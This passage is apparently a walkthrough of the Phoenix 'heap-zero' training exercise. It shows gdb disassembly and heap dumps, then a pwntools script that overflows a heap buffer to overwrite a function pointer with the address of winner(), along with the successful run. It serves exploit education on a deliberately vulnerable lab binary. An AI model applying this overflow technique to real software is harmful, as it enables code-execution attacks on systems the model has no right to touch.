Now we understand how the program works after reading the source code it might be a good ideia to also take a look into the assembly code.
Let's open the program in gdb and run it with a regular argument, just to start our dynamic analysis.
Copy (gdb) set args AAAA
(gdb) r
The program makes it easier by telling us where our input is and where fp is, so we could easily calculate our offset and complete the challenge without even using a debugger, but we'll take the long way in order to get the most out of this exercise.
Let's disassemble the main function:
Copy (gdb) disas main
0x08048867 <+0>: lea ecx,[esp+0x4]
0x0804886b <+4>: and esp,0xfffffff0
0x0804886e <+7>: push DWORD PTR [ecx-0x4]
0x08048871 <+10>: push ebp
0x08048872 <+11>: mov ebp,esp
0x08048874 <+13>: push ebx
0x08048875 <+14>: push ecx
0x08048876 <+15>: sub esp,0x10
0x08048879 <+18>: mov ebx,ecx
0x0804887b <+20>: sub esp,0xc
0x0804887e <+23>: push 0x804ac44
0x08048883 <+28>: call 0x8048600 <puts@plt>
0x08048888 <+33>: add esp,0x10
0x0804888b <+36>: cmp DWORD PTR [ebx],0x1
0x0804888e <+39>: jg 0x80488aa <main+67>
0x08048890 <+41>: sub esp,0xc
0x08048893 <+44>: push 0x804ac90
0x08048898 <+49>: call 0x8048600 <puts@plt>
0x0804889d <+54>: add esp,0x10
0x080488a0 <+57>: sub esp,0xc
0x080488a3 <+60>: push 0x1
0x080488a5 <+62>: call 0x8048680 <exit@plt>
0x080488aa <+67>: sub esp,0xc
0x080488ad <+70>: push 0x40
0x080488af <+72>: call 0x8049146 <malloc>
0x080488b4 <+77>: add esp,0x10
0x080488b7 <+80>: mov DWORD PTR [ebp-0xc],eax
0x080488ba <+83>: sub esp,0xc
0x080488bd <+86>: push 0x40
0x080488bf <+88>: call 0x8049146 <malloc>
0x080488c4 <+93>: add esp,0x10
0x080488c7 <+96>: mov DWORD PTR [ebp-0x10],eax
0x080488ca <+99>: mov eax,DWORD PTR [ebp-0x10]
0x080488cd <+102>: mov DWORD PTR [eax],0x804884e
0x080488d3 <+108>: mov eax,DWORD PTR [ebx+0x4]
0x080488d6 <+111>: add eax,0x4
0x080488d9 <+114>: mov edx,DWORD PTR [eax]
0x080488db <+116>: mov eax,DWORD PTR [ebp-0xc]
0x080488de <+119>: sub esp,0x8
0x080488e1 <+122>: push edx
0x080488e2 <+123>: push eax
0x080488e3 <+124>: call 0x80485b0 <strcpy@plt>
0x080488e8 <+129>: add esp,0x10
0x080488eb <+132>: mov eax,DWORD PTR [ebp-0x10]
0x080488ee <+135>: mov eax,DWORD PTR [eax]
0x080488f0 <+137>: push eax
0x080488f1 <+138>: push DWORD PTR [ebp-0x10]
0x080488f4 <+141>: push DWORD PTR [ebp-0xc]
0x080488f7 <+144>: push 0x804acb8
0x080488fc <+149>: call 0x80485d0 <printf@plt>
0x08048901 <+154>: add esp,0x10
0x08048904 <+157>: mov eax,ds:0x804c2c0
0x08048909 <+162>: sub esp,0xc
0x0804890c <+165>: push eax
0x0804890d <+166>: call 0x8048610 <fflush@plt>
0x08048912 <+171>: add esp,0x10
0x08048915 <+174>: mov eax,DWORD PTR [ebp-0x10]
0x08048918 <+177>: mov eax,DWORD PTR [eax]
0x0804891a <+179>: call eax
0x0804891c <+181>: mov eax,0x0
0x08048921 <+186>: lea esp,[ebp-0x8]
0x08048924 <+189>: pop ecx
0x08048925 <+190>: pop ebx
0x08048926 <+191>: pop ebp
0x08048927 <+192>: lea esp,[ecx-0x4]
0x0804892a <+195>: ret
End of assembler dump.
We can see the calls to malloc() and strcpy() that were mentioned previously. Let's set breakpoints at those to see how the heap looks like throughout execution. I'll set a breakpoint after the last malloc to see the layout of the heap, another one when the pointer to the nowinner function (fp) is stored and finally another one after our input is copied to the heap. So we want to break in the line after each of the following instructions:
Copy 0x080488bf <+88>: call 0x8049146 <malloc>
[snip]
0x080488cd <+102>: mov DWORD PTR [eax],0x804884e
[snip]
0x080488e3 <+124>: call 0x80485b0 <strcpy@plt>
The address that follow each of these are, respectively, 0x080488c4, 0x080488d3 and 0x080488e8
Copy (gdb) b*0x080488c4
Breakpoint 1 at 0x80488c4
(gdb) b*0x080488d3
Breakpoint 2 at 0x80488d3
(gdb) b*0x080488e8
Breakpoint 3 at 0x80488e8
Now let's run the program to further investigate.
Copy (gdb) r
Starting program: /opt/phoenix/i486/heap-zero AAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
Breakpoint 1, 0x080488c4 in main ()
(gdb) info proc mapping
process 332
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804c000 0x4000 0x0 /opt/phoenix/i486/heap-zero
0x804c000 0x804d000 0x1000 0x3000 /opt/phoenix/i486/heap-zero
0xf7e69000 0xf7f69000 0x100000 0x0
0xf7f69000 0xf7f6b000 0x2000 0x0 [vvar]
0xf7f6b000 0xf7f6d000 0x2000 0x0 [vdso]
0xf7f6d000 0xf7ffa000 0x8d000 0x0 /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffa000 0xf7ffb000 0x1000 0x8c000 /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffb000 0xf7ffc000 0x1000 0x8d000 /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffc000 0xf7ffe000 0x2000 0x0
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
We can find the heap at 0xf7e69000, now let's analyse it. x/64wx will print 64 words (1 word = 4 bytes).
Copy (gdb) x/64w 0xf7e69000
0xf7e69000: 0x00000000 0x00000049 0x00000000 0x00000000
0xf7e69010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69040: 0x00000000 0x00000000 0x00000000 0x00000049
0xf7e69050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x000fff71 0x00000000 0x00000000
0xf7e690a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690f0: 0x00000000 0x00000000 0x00000000 0x00000000
Reading the chunk headers we can see there are 2 chunks of 48 bytes total (one for each malloc), and we add 1 byte (previous-in-use flag) to the size metadata to indicate that the previous chunk is in use, so that's why both chunks have 49 as the size.
This is the size of the rest of the heap apart from this 2 chunks that were already allocated, this is also known as the top chunk or wilderness.
After continuing the execution we can see exactly where fp (the pointer we want to overwrite) is,
Copy 0xf7e69000: 0x00000000 0x00000049 0x00000000 0x00000000
0xf7e69010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69040: 0x00000000 0x00000000 0x00000000 0x00000049
0xf7e69050: 0x0804884e 0x00000000 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x000fff71 0x00000000 0x00000000
0xf7e690a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690f0: 0x00000000 0x00000000 0x00000000 0x00000000
And if we continue again we can find our input:
Copy 0xf7e69000: 0x00000000 0x00000049 0x41414141 0x00000000
0xf7e69010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69040: 0x00000000 0x00000000 0x00000000 0x00000049
0xf7e69050: 0x0804884e 0x00000000 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x000fff71 0x00000000 0x00000000
0xf7e690a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690f0: 0x00000000 0x00000000 0x00000000 0x00000000
We start writing at 0xf7e69008, and we want to reach 0xf7e69050 with junk, so our junk size will be 72 bytes, and the next for bytes are the value we want to write, which is the address of the winner function.
Copy (gdb) x winner
0x8048835 <winner>: 0x83e58955
So we just need to provide an argument with 72 meaningless bytes + address of winner. Here is the expected heap layout:
Copy (gdb) x/64wx 0xf7e69000
0xf7e69000: 0x00000000 0x00000049 0x41414141 0x41414141
0xf7e69010: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69020: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69030: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69040: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69050: 0x08048835 0x00000000 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x000fff71 0x00000000 0x00000000
0xf7e690a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690f0: 0x00000000 0x00000000 0x00000000 0x00000000
The following python code will do the job:
Copy #!/usr/bin/env python
from pwn import *
junk = 'A' * 72
winner = p32 ( 0x 08048835 )
payload = junk + winner
io = process ([ './heap-zero' , payload])
out = io . recv ( 1024 )
print out
Copy root@phoenix-amd64:/opt/phoenix/i486# ./exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.2 --> 4.5.1).
Update with: $ pip install -U pwntools
[+] Starting local process './heap-zero': pid 347
[*] Process './heap-zero' stopped with exit code 0 (pid 347)
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
root@phoenix-amd64:/opt/phoenix/i486#
And we win :)